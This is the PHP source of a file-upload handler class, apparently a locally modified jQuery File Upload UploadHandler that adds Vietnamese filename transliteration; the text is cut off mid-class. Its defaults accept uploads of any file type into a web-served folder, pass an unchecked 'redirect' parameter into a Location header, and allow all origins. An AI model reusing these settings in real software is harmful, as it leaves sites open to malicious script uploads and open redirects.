code stringlengths 1 2.01M | repo_name stringlengths 3 62 | path stringlengths 1 267 | language stringclasses 231
values | license stringclasses 13
values | size int64 1 2.01M |
|---|---|---|---|---|---|
<?php
/*
* jQuery File Upload Plugin PHP Class 6.9.0
* https://github.com/blueimp/jQuery-File-Upload
*
* Copyright 2010, Sebastian Tschan
* https://blueimp.net
*
* Licensed under the MIT license:
* http://www.opensource.org/licenses/MIT
*/
class UploadHandler
{
protected $options;
// PHP File Upload error message codes:
// http://php.net/manual/en/features.file-upload.errors.php
protected $error_messages = array(
1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
3 => 'The uploaded file was only partially uploaded',
4 => 'No file was uploaded',
6 => 'Missing a temporary folder',
7 => 'Failed to write file to disk',
8 => 'A PHP extension stopped the file upload',
'post_max_size' => 'The uploaded file exceeds the post_max_size directive in php.ini',
'max_file_size' => 'File is too big',
'min_file_size' => 'File is too small',
'accept_file_types' => 'Filetype not allowed',
'max_number_of_files' => 'Maximum number of files exceeded',
'max_width' => 'Image exceeds maximum width',
'min_width' => 'Image requires a minimum width',
'max_height' => 'Image exceeds maximum height',
'min_height' => 'Image requires a minimum height'
);
function __construct($options = null, $initialize = true, $error_messages = null)
{
$this->options = array(
'script_url' => $this->get_full_url().'/',
'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
'upload_url' => $this->get_full_url().'/files/',
'user_dirs' => false,
'mkdir_mode' => 0755,
'param_name' => 'files',
// Set the following option to 'POST', if your server does not support
// DELETE requests. This is a parameter sent to the client:
'delete_type' => 'DELETE',
'access_control_allow_origin' => '*',
'access_control_allow_credentials' => false,
'access_control_allow_methods' => array(
'OPTIONS',
'HEAD',
'GET',
'POST',
'PUT',
'PATCH',
'DELETE'
),
'access_control_allow_headers' => array(
'Content-Type',
'Content-Range',
'Content-Disposition'
),
// Enable to provide file downloads via GET requests to the PHP script:
// 1. Set to 1 to download files via readfile method through PHP
// 2. Set to 2 to send a X-Sendfile header for lighttpd/Apache
// 3. Set to 3 to send a X-Accel-Redirect header for nginx
// If set to 2 or 3, adjust the upload_url option to the base path of
// the redirect parameter, e.g. '/files/'.
'download_via_php' => false,
// Read files in chunks to avoid memory limits when download_via_php
// is enabled, set to 0 to disable chunked reading of files:
'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
// Defines which files can be displayed inline when downloaded:
'inline_file_types' => '/\.(gif|jpe?g|png)$/i',
// Defines which files (based on their names) are accepted for upload:
'accept_file_types' => '/.+$/i',
// The php.ini settings upload_max_filesize and post_max_size
// take precedence over the following max_file_size setting:
'max_file_size' => null,
'min_file_size' => 1,
// The maximum number of files for the upload directory:
'max_number_of_files' => null,
// Image resolution restrictions:
'max_width' => null,
'max_height' => null,
'min_width' => 1,
'min_height' => 1,
// Set the following option to false to enable resumable uploads:
'discard_aborted_uploads' => true,
// Set to false to disable rotating images based on EXIF meta data:
'orient_image' => true,
'image_versions' => array(
// Uncomment the following version to restrict the size of
// uploaded images:
/*
'' => array(
'max_width' => 1920,
'max_height' => 1200,
'jpeg_quality' => 95
),
*/
// Uncomment the following to create medium sized images:
/*
'medium' => array(
'max_width' => 800,
'max_height' => 600,
'jpeg_quality' => 80
),
*/
/*'thumbnail' => array(
// Uncomment the following to use a defined directory for the thumbnails
// instead of a subdirectory based on the version identifier.
// Make sure that this directory doesn't allow execution of files if you
// don't pose any restrictions on the type of uploaded files, e.g. by
// copying the .htaccess file from the files directory for Apache:
//'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/thumb/',
//'upload_url' => $this->get_full_url().'/thumb/',
// Uncomment the following to force the max
// dimensions and e.g. create square thumbnails:
//'crop' => true,
'max_width' => 80,
'max_height' => 80
)*/
)
);
if ($options) {
$this->options = array_merge($this->options, $options);
}
if ($error_messages) {
$this->error_messages = array_merge($this->error_messages, $error_messages);
}
if ($initialize) {
$this->initialize();
}
}
protected function initialize() {
switch ($this->get_server_var('REQUEST_METHOD')) {
case 'OPTIONS':
case 'HEAD':
$this->head();
break;
case 'GET':
$this->get();
break;
case 'PATCH':
case 'PUT':
case 'POST':
$this->post();
break;
case 'DELETE':
$this->delete();
break;
default:
$this->header('HTTP/1.1 405 Method Not Allowed');
}
}
protected function get_full_url() {
$https = !empty($_SERVER['HTTPS']) && strcasecmp($_SERVER['HTTPS'], 'on') === 0;
return
($https ? 'https://' : 'http://').
(!empty($_SERVER['REMOTE_USER']) ? $_SERVER['REMOTE_USER'].'@' : '').
(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ($_SERVER['SERVER_NAME'].
($https && $_SERVER['SERVER_PORT'] === 443 ||
$_SERVER['SERVER_PORT'] === 80 ? '' : ':'.$_SERVER['SERVER_PORT']))).
substr($_SERVER['SCRIPT_NAME'],0, strrpos($_SERVER['SCRIPT_NAME'], '/'));
}
protected function get_user_id() {
@session_start();
return session_id();
}
protected function get_user_path() {
if ($this->options['user_dirs']) {
return $this->get_user_id().'/';
}
return '';
}
protected function get_upload_path($file_name = null, $version = null) {
$file_name = $file_name ? $file_name : '';
if (empty($version)) {
$version_path = '';
} else {
$version_dir = @$this->options['image_versions'][$version]['upload_dir'];
if ($version_dir) {
return $version_dir.$this->get_user_path().$file_name;
}
$version_path = $version.'/';
}
return $this->options['upload_dir'].$this->get_user_path()
.$version_path.$file_name;
}
protected function get_query_separator($url) {
return strpos($url, '?') === false ? '?' : '&';
}
protected function get_download_url($file_name, $version = null, $direct = false) {
if (!$direct && $this->options['download_via_php']) {
$url = $this->options['script_url']
.$this->get_query_separator($this->options['script_url'])
.'file='.rawurlencode($file_name);
if ($version) {
$url .= '&version='.rawurlencode($version);
}
return $url.'&download=1';
}
if (empty($version)) {
$version_path = '';
} else {
$version_url = @$this->options['image_versions'][$version]['upload_url'];
if ($version_url) {
return $version_url.$this->get_user_path().rawurlencode($file_name);
}
$version_path = rawurlencode($version).'/';
}
return $this->options['upload_url'].$this->get_user_path()
.$version_path.rawurlencode($file_name);
}
protected function set_additional_file_properties($file) {
$file->deleteUrl = $this->options['script_url']
.$this->get_query_separator($this->options['script_url'])
.$this->get_singular_param_name()
.'='.rawurlencode($file->name);
$file->deleteType = $this->options['delete_type'];
if ($file->deleteType !== 'DELETE') {
$file->deleteUrl .= '&_method=DELETE';
}
if ($this->options['access_control_allow_credentials']) {
$file->deleteWithCredentials = true;
}
}
// Fix for overflowing signed 32 bit integers,
// works for sizes up to 2^32-1 bytes (4 GiB - 1):
protected function fix_integer_overflow($size) {
if ($size < 0) {
$size += 2.0 * (PHP_INT_MAX + 1);
}
return $size;
}
protected function get_file_size($file_path, $clear_stat_cache = false) {
if ($clear_stat_cache) {
clearstatcache(true, $file_path);
}
return $this->fix_integer_overflow(filesize($file_path));
}
protected function is_valid_file_object($file_name) {
$file_path = $this->get_upload_path($file_name);
if (is_file($file_path) && $file_name[0] !== '.') {
return true;
}
return false;
}
protected function get_file_object($file_name) {
if ($this->is_valid_file_object($file_name)) {
$file = new stdClass();
$file->name = $file_name;
$file->size = $this->get_file_size(
$this->get_upload_path($file_name)
);
$file->url = $this->get_download_url($file->name);
foreach($this->options['image_versions'] as $version => $options) {
if (!empty($version)) {
if (is_file($this->get_upload_path($file_name, $version))) {
$file->{$version.'Url'} = $this->get_download_url(
$file->name,
$version
);
}
}
}
$this->set_additional_file_properties($file);
return $file;
}
return null;
}
protected function get_file_objects($iteration_method = 'get_file_object') {
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
return array();
}
return array_values(array_filter(array_map(
array($this, $iteration_method),
scandir($upload_dir)
)));
}
protected function count_file_objects() {
return count($this->get_file_objects('is_valid_file_object'));
}
protected function create_scaled_image($file_name, $version, $options)
{
$file_path = $this->get_upload_path($file_name);
if (!empty($version)) {
$version_dir = $this->get_upload_path(null, $version);
if (!is_dir($version_dir)) {
mkdir($version_dir, $this->options['mkdir_mode'], true);
}
$new_file_path = $version_dir.'/'.$file_name;
} else {
$new_file_path = $file_path;
}
if (!function_exists('getimagesize')) {
error_log('Function not found: getimagesize');
return false;
}
list($img_width, $img_height) = @getimagesize($file_path);
if (!$img_width || !$img_height) {
return false;
}
$max_width = $options['max_width'];
$max_height = $options['max_height'];
$scale = min(
$max_width / $img_width,
$max_height / $img_height
);
if ($scale >= 1) {
if ($file_path !== $new_file_path) {
return copy($file_path, $new_file_path);
}
return true;
}
if (!function_exists('imagecreatetruecolor')) {
error_log('Function not found: imagecreatetruecolor');
return false;
}
if (empty($options['crop'])) {
$new_width = $img_width * $scale;
$new_height = $img_height * $scale;
$dst_x = 0;
$dst_y = 0;
$new_img = imagecreatetruecolor($new_width, $new_height);
} else {
if (($img_width / $img_height) >= ($max_width / $max_height)) {
$new_width = $img_width / ($img_height / $max_height);
$new_height = $max_height;
} else {
$new_width = $max_width;
$new_height = $img_height / ($img_width / $max_width);
}
$dst_x = 0 - ($new_width - $max_width) / 2;
$dst_y = 0 - ($new_height - $max_height) / 2;
$new_img = imagecreatetruecolor($max_width, $max_height);
}
switch (strtolower(substr(strrchr($file_name, '.'), 1))) {
case 'jpg':
case 'jpeg':
$src_img = imagecreatefromjpeg($file_path);
$write_image = 'imagejpeg';
$image_quality = isset($options['jpeg_quality']) ?
$options['jpeg_quality'] : 75;
break;
case 'gif':
imagecolortransparent($new_img, imagecolorallocate($new_img, 0, 0, 0));
$src_img = imagecreatefromgif($file_path);
$write_image = 'imagegif';
$image_quality = null;
break;
case 'png':
imagecolortransparent($new_img, imagecolorallocate($new_img, 0, 0, 0));
imagealphablending($new_img, false);
imagesavealpha($new_img, true);
$src_img = imagecreatefrompng($file_path);
$write_image = 'imagepng';
$image_quality = isset($options['png_quality']) ?
$options['png_quality'] : 9;
break;
default:
imagedestroy($new_img);
return false;
}
$success = imagecopyresampled(
$new_img,
$src_img,
$dst_x,
$dst_y,
0,
0,
$new_width,
$new_height,
$img_width,
$img_height
) && $write_image($new_img, $new_file_path, $image_quality);
// Free up memory (imagedestroy does not delete files):
imagedestroy($src_img);
imagedestroy($new_img);
return $success;
}
protected function get_error_message($error)
{
return array_key_exists($error, $this->error_messages) ?
$this->error_messages[$error] : $error;
}
function get_config_bytes($val) {
$val = trim($val);
$last = strtolower($val[strlen($val)-1]);
switch($last) {
case 'g':
$val *= 1024;
case 'm':
$val *= 1024;
case 'k':
$val *= 1024;
}
return $this->fix_integer_overflow($val);
}
protected function validate($uploaded_file, $file, $error, $index)
{
if ($error) {
$file->error = $this->get_error_message($error);
return false;
}
$content_length = $this->fix_integer_overflow(intval(
$this->get_server_var('CONTENT_LENGTH')
));
$post_max_size = $this->get_config_bytes(ini_get('post_max_size'));
if ($post_max_size && ($content_length > $post_max_size)) {
$file->error = $this->get_error_message('post_max_size');
return false;
}
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
$file_size = $this->get_file_size($uploaded_file);
} else {
$file_size = $content_length;
}
if ($this->options['max_file_size'] && (
$file_size > $this->options['max_file_size'] ||
$file->size > $this->options['max_file_size'])
) {
$file->error = $this->get_error_message('max_file_size');
return false;
}
if ($this->options['min_file_size'] &&
$file_size < $this->options['min_file_size']) {
$file->error = $this->get_error_message('min_file_size');
return false;
}
if (is_int($this->options['max_number_of_files']) && (
$this->count_file_objects() >= $this->options['max_number_of_files'])
) {
$file->error = $this->get_error_message('max_number_of_files');
return false;
}
list($img_width, $img_height) = @getimagesize($uploaded_file);
if (is_int($img_width))
{
if ($this->options['max_width'] && $img_width > $this->options['max_width']) {
$file->error = $this->get_error_message('max_width');
return false;
}
if ($this->options['max_height'] && $img_height > $this->options['max_height']) {
$file->error = $this->get_error_message('max_height');
return false;
}
if ($this->options['min_width'] && $img_width < $this->options['min_width']) {
$file->error = $this->get_error_message('min_width');
return false;
}
if ($this->options['min_height'] && $img_height < $this->options['min_height']) {
$file->error = $this->get_error_message('min_height');
return false;
}
}
return true;
}
protected function upcount_name_callback($matches)
{
$index = isset($matches[1]) ? intval($matches[1]) + 1 : 1;
$ext = isset($matches[2]) ? $matches[2] : '';
return ' ('.$index.')'.$ext;
}
protected function upcount_name($name) {
return preg_replace_callback(
'/(?:(?: \(([\d]+)\))?(\.[^.]+))?$/',
array($this, 'upcount_name_callback'),
$name,
1
);
}
protected function get_unique_filename($name, $type = null, $index = null, $content_range = null) {
while(is_dir($this->get_upload_path($name))) {
$name = $this->upcount_name($name);
}
// Keep an existing filename if this is part of a chunked upload:
$uploaded_bytes = $this->fix_integer_overflow(intval($content_range[1]));
while(is_file($this->get_upload_path($name))) {
if ($uploaded_bytes === $this->get_file_size(
$this->get_upload_path($name))) {
break;
}
$name = $this->upcount_name($name);
}
return $name;
}
/*1clickfmcode*/
/*protected function stringchange($value)
{
#---------------------------------a^
$value = str_replace("ấ", "a", $value);
$value = str_replace("ầ", "a", $value);
$value = str_replace("ẩ", "a", $value);
$value = str_replace("ẫ", "a", $value);
$value = str_replace("ậ", "a", $value);
#---------------------------------A^
$value = str_replace("Ấ", "A", $value);
$value = str_replace("Ầ", "A", $value);
$value = str_replace("Ẩ", "A", $value);
$value = str_replace("Ẫ", "A", $value);
$value = str_replace("Ậ", "A", $value);
#---------------------------------a(
$value = str_replace("ắ", "a", $value);
$value = str_replace("ằ", "a", $value);
$value = str_replace("ẳ", "a", $value);
$value = str_replace("ẵ", "a", $value);
$value = str_replace("ặ", "a", $value);
#---------------------------------A(
$value = str_replace("Ắ", "A", $value);
$value = str_replace("Ằ", "A", $value);
$value = str_replace("Ẳ", "A", $value);
$value = str_replace("Ẵ", "A", $value);
$value = str_replace("Ặ", "A", $value);
#---------------------------------a
$value = str_replace("á", "a", $value);
$value = str_replace("à", "a", $value);
$value = str_replace("ả", "a", $value);
$value = str_replace("ã", "a", $value);
$value = str_replace("ạ", "a", $value);
$value = str_replace("â", "a", $value);
$value = str_replace("ă", "a", $value);
#---------------------------------A
$value = str_replace("Á", "A", $value);
$value = str_replace("À", "A", $value);
$value = str_replace("Ả", "A", $value);
$value = str_replace("Ã", "A", $value);
$value = str_replace("Ạ", "A", $value);
$value = str_replace("Â", "A", $value);
$value = str_replace("Ă", "A", $value);
#---------------------------------e^
$value = str_replace("ế", "e", $value);
$value = str_replace("ề", "e", $value);
$value = str_replace("ể", "e", $value);
$value = str_replace("ễ", "e", $value);
$value = str_replace("ệ", "e", $value);
#---------------------------------E^
$value = str_replace("Ế", "E", $value);
$value = str_replace("Ề", "E", $value);
$value = str_replace("Ể", "E", $value);
$value = str_replace("Ễ", "E", $value);
$value = str_replace("Ệ", "E", $value);
#---------------------------------e
$value = str_replace("é", "e", $value);
$value = str_replace("è", "e", $value);
$value = str_replace("ẻ", "e", $value);
$value = str_replace("ẽ", "e", $value);
$value = str_replace("ẹ", "e", $value);
$value = str_replace("ê", "e", $value);
#---------------------------------E
$value = str_replace("É", "E", $value);
$value = str_replace("È", "E", $value);
$value = str_replace("Ẻ", "E", $value);
$value = str_replace("Ẽ", "E", $value);
$value = str_replace("Ẹ", "E", $value);
$value = str_replace("Ê", "E", $value);
#---------------------------------i
$value = str_replace("í", "i", $value);
$value = str_replace("ì", "i", $value);
$value = str_replace("ỉ", "i", $value);
$value = str_replace("ĩ", "i", $value);
$value = str_replace("ị", "i", $value);
#---------------------------------I
$value = str_replace("Í", "I", $value);
$value = str_replace("Ì", "I", $value);
$value = str_replace("Ỉ", "I", $value);
$value = str_replace("Ĩ", "I", $value);
$value = str_replace("Ị", "I", $value);
#---------------------------------o^
$value = str_replace("ố", "o", $value);
$value = str_replace("ồ", "o", $value);
$value = str_replace("ổ", "o", $value);
$value = str_replace("ỗ", "o", $value);
$value = str_replace("ộ", "o", $value);
#---------------------------------O^
$value = str_replace("Ố", "O", $value);
$value = str_replace("Ồ", "O", $value);
$value = str_replace("Ổ", "O", $value);
$value = str_replace("Ô", "O", $value);
$value = str_replace("Ộ", "O", $value);
#---------------------------------o*
$value = str_replace("ớ", "o", $value);
$value = str_replace("ờ", "o", $value);
$value = str_replace("ở", "o", $value);
$value = str_replace("ỡ", "o", $value);
$value = str_replace("ợ", "o", $value);
#---------------------------------O*
$value = str_replace("Ớ", "O", $value);
$value = str_replace("Ờ", "O", $value);
$value = str_replace("Ở", "O", $value);
$value = str_replace("Ỡ", "O", $value);
$value = str_replace("Ợ", "O", $value);
#---------------------------------u*
$value = str_replace("ứ", "u", $value);
$value = str_replace("ừ", "u", $value);
$value = str_replace("ử", "u", $value);
$value = str_replace("ữ", "u", $value);
$value = str_replace("ự", "u", $value);
#---------------------------------U*
$value = str_replace("Ứ", "U", $value);
$value = str_replace("Ừ", "U", $value);
$value = str_replace("Ử", "U", $value);
$value = str_replace("Ữ", "U", $value);
$value = str_replace("Ự", "U", $value);
#---------------------------------y
$value = str_replace("ý", "y", $value);
$value = str_replace("ỳ", "y", $value);
$value = str_replace("ỷ", "y", $value);
$value = str_replace("ỹ", "y", $value);
$value = str_replace("ỵ", "y", $value);
#---------------------------------Y
$value = str_replace("Ý", "Y", $value);
$value = str_replace("Ỳ", "Y", $value);
$value = str_replace("Ỷ", "Y", $value);
$value = str_replace("Ỹ", "Y", $value);
$value = str_replace("Ỵ", "Y", $value);
#---------------------------------DD
$value = str_replace("Đ", "D", $value);
$value = str_replace("Đ", "D", $value);
$value = str_replace("đ", "d", $value);
#---------------------------------o
$value = str_replace("ó", "o", $value);
$value = str_replace("ò", "o", $value);
$value = str_replace("ỏ", "o", $value);
$value = str_replace("õ", "o", $value);
$value = str_replace("ọ", "o", $value);
$value = str_replace("ô", "o", $value);
$value = str_replace("ơ", "o", $value);
#---------------------------------O
$value = str_replace("Ó", "O", $value);
$value = str_replace("Ò", "O", $value);
$value = str_replace("Ỏ", "O", $value);
$value = str_replace("Õ", "O", $value);
$value = str_replace("Ọ", "O", $value);
$value = str_replace("Ô", "O", $value);
$value = str_replace("Ơ", "O", $value);
#---------------------------------u
$value = str_replace("ú", "u", $value);
$value = str_replace("ù", "u", $value);
$value = str_replace("ủ", "u", $value);
$value = str_replace("ũ", "u", $value);
$value = str_replace("ụ", "u", $value);
$value = str_replace("ư", "u", $value);
#------------------------------------
$value = str_replace(" ", "_", $value);
$value = str_replace("(", "", $value);
$value = str_replace(")", "", $value);
//$value = str_replace("-", "_", $value);
$value = str_replace("'", "", $value);
$value = str_replace("\"","", $value);
$value = str_replace("<", "", $value);
$value = str_replace(">", "", $value);
$value = str_replace("+", "", $value);
$value = str_replace("*", "", $value);
$value = str_replace("/", "", $value);
$value = str_replace("?", "", $value);
$value = str_replace("!", "", $value);
$value = str_replace(",", "", $value);
$value = str_replace("”", "", $value);
$value = str_replace("“", "", $value);
$value = str_replace("#", "", $value);
$value = str_replace("%", "", $value);
//$value = str_replace(".", "", $value);
$value = str_replace(":", "", $value);
$value = str_replace("&", "", $value);
$value = str_replace("=", "_", $value);
$value = str_replace("|", "", $value);
$value = str_replace(";", "", $value);
$value = str_replace("^", "", $value);
return $value;
}*/
/*trit : filter name*/
protected function stringchange($str)
{
$str = preg_replace("/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/", 'a', $str);
$str = preg_replace("/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/", 'e', $str);
$str = preg_replace("/(ì|í|ị|ỉ|ĩ)/", 'i', $str);
$str = preg_replace("/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/", 'o', $str);
$str = preg_replace("/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/", 'u', $str);
$str = preg_replace("/(ỳ|ý|ỵ|ỷ|ỹ)/", 'y', $str);
$str = preg_replace("/(đ)/", 'd', $str);
$str = preg_replace("/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/", 'A', $str);
$str = preg_replace("/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/", 'E', $str);
$str = preg_replace("/(Ì|Í|Ị|Ỉ|Ĩ)/", 'I', $str);
$str = preg_replace("/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/", 'O', $str);
$str = preg_replace("/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/", 'U', $str);
$str = preg_replace("/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/", 'Y', $str);
$str = preg_replace("/(Đ)/", 'D', $str);
$str = preg_replace("/( )/", '-', $str);
$str = preg_replace("/(\'|\"|`|&|,|\?)/", '', $str);
$str = preg_replace("/(---|--)/", '-', $str);
$pattern = '/([^a-z0-9\-\._])/i';
$str = preg_replace($pattern, '', $str);
$str = strtolower($str);
return $str;
}
/*1clickfmcode*/
protected function trim_file_name($name, $type = null, $index = null, $content_range = null)
{
//limit filename too long
$name = $this->stringchange($name);
$name = (strlen($name)>100) ? substr($name, -80) : $name ;
// Remove path information and dots around the filename, to prevent uploading
// into different directories or replacing hidden system files.
// Also remove control characters and spaces (\x00..\x20) around the filename:
$name = trim(basename(stripslashes($name)), ".\x00..\x20");
// Use a timestamp for empty filenames:
if (!$name) {
$name = str_replace('.', '-', microtime(true));
}
// Add missing file extension for known image types:
if (strpos($name, '.') === false && preg_match('/^image\/(gif|jpe?g|png)/', $type, $matches)) {
$name .= '.'.$matches[1];
}
//return $this->stringchange($name);
/*1clickfmcode*/
return time().'_'.rand(0,1000).'_'.$name;
}
protected function get_file_name($name, $type = null, $index = null, $content_range = null)
{
return $this->get_unique_filename(
$this->trim_file_name($name, $type, $index, $content_range),
$type,
$index,
$content_range
);
}
protected function handle_form_data($file, $index) {
// Handle form data, e.g. $_REQUEST['description'][$index]
if(isset($_REQUEST['title']))
$file->title = $_REQUEST['title'][$index];
}
protected function imageflip($image, $mode)
{
if (function_exists('imageflip')) {
return imageflip($image, $mode);
}
$new_width = $src_width = imagesx($image);
$new_height = $src_height = imagesy($image);
$new_img = imagecreatetruecolor($new_width, $new_height);
$src_x = 0;
$src_y = 0;
switch ($mode) {
case '1': // flip on the horizontal axis
$src_y = $new_height - 1;
$src_height = -$new_height;
break;
case '2': // flip on the vertical axis
$src_x = $new_width - 1;
$src_width = -$new_width;
break;
case '3': // flip on both axes
$src_y = $new_height - 1;
$src_height = -$new_height;
$src_x = $new_width - 1;
$src_width = -$new_width;
break;
default:
return $image;
}
imagecopyresampled(
$new_img,
$image,
0,
0,
$src_x,
$src_y,
$new_width,
$new_height,
$src_width,
$src_height
);
// Free up memory (imagedestroy does not delete files):
imagedestroy($image);
return $new_img;
}
protected function orient_image($file_path) {
if (!function_exists('exif_read_data')) {
return false;
}
$exif = @exif_read_data($file_path);
if ($exif === false) {
return false;
}
$orientation = intval(@$exif['Orientation']);
if ($orientation < 2 || $orientation > 8) {
return false;
}
$image = imagecreatefromjpeg($file_path);
switch ($orientation) {
case 2:
$image = $this->imageflip(
$image,
defined('IMG_FLIP_VERTICAL') ? IMG_FLIP_VERTICAL : 2
);
break;
case 3:
$image = imagerotate($image, 180, 0);
break;
case 4:
$image = $this->imageflip(
$image,
defined('IMG_FLIP_HORIZONTAL') ? IMG_FLIP_HORIZONTAL : 1
);
break;
case 5:
$image = $this->imageflip(
$image,
defined('IMG_FLIP_HORIZONTAL') ? IMG_FLIP_HORIZONTAL : 1
);
$image = imagerotate($image, 270, 0);
break;
case 6:
$image = imagerotate($image, 270, 0);
break;
case 7:
$image = $this->imageflip(
$image,
defined('IMG_FLIP_VERTICAL') ? IMG_FLIP_VERTICAL : 2
);
$image = imagerotate($image, 270, 0);
break;
case 8:
$image = imagerotate($image, 90, 0);
break;
default:
return false;
}
$success = imagejpeg($image, $file_path);
// Free up memory (imagedestroy does not delete files):
imagedestroy($image);
return $success;
}
protected function handle_image_file($file_path, $file) {
if ($this->options['orient_image']) {
$this->orient_image($file_path);
}
$failed_versions = array();
foreach($this->options['image_versions'] as $version => $options) {
if ($this->create_scaled_image($file->name, $version, $options)) {
if (!empty($version)) {
$file->{$version.'Url'} = $this->get_download_url(
$file->name,
$version
);
} else {
$file->size = $this->get_file_size($file_path, true);
}
} else {
$failed_versions[] = $version;
}
}
switch (count($failed_versions)) {
case 0:
break;
case 1:
$file->error = 'Failed to create scaled version: '
.$failed_versions[0];
break;
default:
$file->error = 'Failed to create scaled versions: '
.implode($failed_versions,', ');
}
}
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new stdClass();
$file->name = $this->get_file_name($name, $type, $index, $content_range);
$file->size = $this->fix_integer_overflow(intval($size));
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen('php://input', 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
list($img_width, $img_height) = @getimagesize($file_path);
if (is_int($img_width) &&
preg_match($this->options['inline_file_types'], $file->name)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = 'abort';
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
protected function readfile($file_path) {
$file_size = $this->get_file_size($file_path);
$chunk_size = $this->options['readfile_chunk_size'];
if ($chunk_size && $file_size > $chunk_size) {
$handle = fopen($file_path, 'rb');
while (!feof($handle)) {
echo fread($handle, $chunk_size);
ob_flush();
flush();
}
fclose($handle);
return $file_size;
}
return readfile($file_path);
}
protected function body($str) {
echo $str;
}
protected function header($str) {
header($str);
}
protected function get_server_var($id) {
return isset($_SERVER[$id]) ? $_SERVER[$id] : '';
}
protected function generate_response($content, $print_response = true) {
if ($print_response) {
$json = json_encode($content);
$redirect = isset($_REQUEST['redirect']) ?
stripslashes($_REQUEST['redirect']) : null;
if ($redirect) {
$this->header('Location: '.sprintf($redirect, rawurlencode($json)));
return;
}
$this->head();
if ($this->get_server_var('HTTP_CONTENT_RANGE')) {
$files = isset($content[$this->options['param_name']]) ?
$content[$this->options['param_name']] : null;
if ($files && is_array($files) && is_object($files[0]) && $files[0]->size) {
$this->header('Range: 0-'.(
$this->fix_integer_overflow(intval($files[0]->size)) - 1
));
}
}
$this->body($json);
}
return $content;
}
protected function get_version_param() {
return isset($_GET['version']) ? basename(stripslashes($_GET['version'])) : null;
}
protected function get_singular_param_name() {
return substr($this->options['param_name'], 0, -1);
}
protected function get_file_name_param() {
$name = $this->get_singular_param_name();
return isset($_GET[$name]) ? basename(stripslashes($_GET[$name])) : null;
}
protected function get_file_names_params() {
$params = isset($_GET[$this->options['param_name']]) ?
$_GET[$this->options['param_name']] : array();
foreach ($params as $key => $value) {
$params[$key] = basename(stripslashes($value));
}
return $params;
}
protected function get_file_type($file_path) {
switch (strtolower(pathinfo($file_path, PATHINFO_EXTENSION))) {
case 'jpeg':
case 'jpg':
return 'image/jpeg';
case 'png':
return 'image/png';
case 'gif':
return 'image/gif';
default:
return '';
}
}
protected function download() {
switch ($this->options['download_via_php']) {
case 1:
$redirect_header = null;
break;
case 2:
$redirect_header = 'X-Sendfile';
break;
case 3:
$redirect_header = 'X-Accel-Redirect';
break;
default:
return $this->header('HTTP/1.1 403 Forbidden');
}
$file_name = $this->get_file_name_param();
if (!$this->is_valid_file_object($file_name)) {
return $this->header('HTTP/1.1 404 Not Found');
}
if ($redirect_header) {
return $this->header(
$redirect_header.': '.$this->get_download_url(
$file_name,
$this->get_version_param(),
true
)
);
}
$file_path = $this->get_upload_path($file_name, $this->get_version_param());
// Prevent browsers from MIME-sniffing the content-type:
$this->header('X-Content-Type-Options: nosniff');
if (!preg_match($this->options['inline_file_types'], $file_name)) {
$this->header('Content-Type: application/octet-stream');
$this->header('Content-Disposition: attachment; filename="'.$file_name.'"');
} else {
$this->header('Content-Type: '.$this->get_file_type($file_path));
$this->header('Content-Disposition: inline; filename="'.$file_name.'"');
}
$this->header('Content-Length: '.$this->get_file_size($file_path));
$this->header('Last-Modified: '.gmdate('D, d M Y H:i:s T', filemtime($file_path)));
$this->readfile($file_path);
}
protected function send_content_type_header() {
$this->header('Vary: Accept');
if (strpos($this->get_server_var('HTTP_ACCEPT'), 'application/json') !== false) {
$this->header('Content-type: application/json');
} else {
$this->header('Content-type: text/plain');
}
}
protected function send_access_control_headers() {
$this->header('Access-Control-Allow-Origin: '.$this->options['access_control_allow_origin']);
$this->header('Access-Control-Allow-Credentials: '
.($this->options['access_control_allow_credentials'] ? 'true' : 'false'));
$this->header('Access-Control-Allow-Methods: '
.implode(', ', $this->options['access_control_allow_methods']));
$this->header('Access-Control-Allow-Headers: '
.implode(', ', $this->options['access_control_allow_headers']));
}
public function head() {
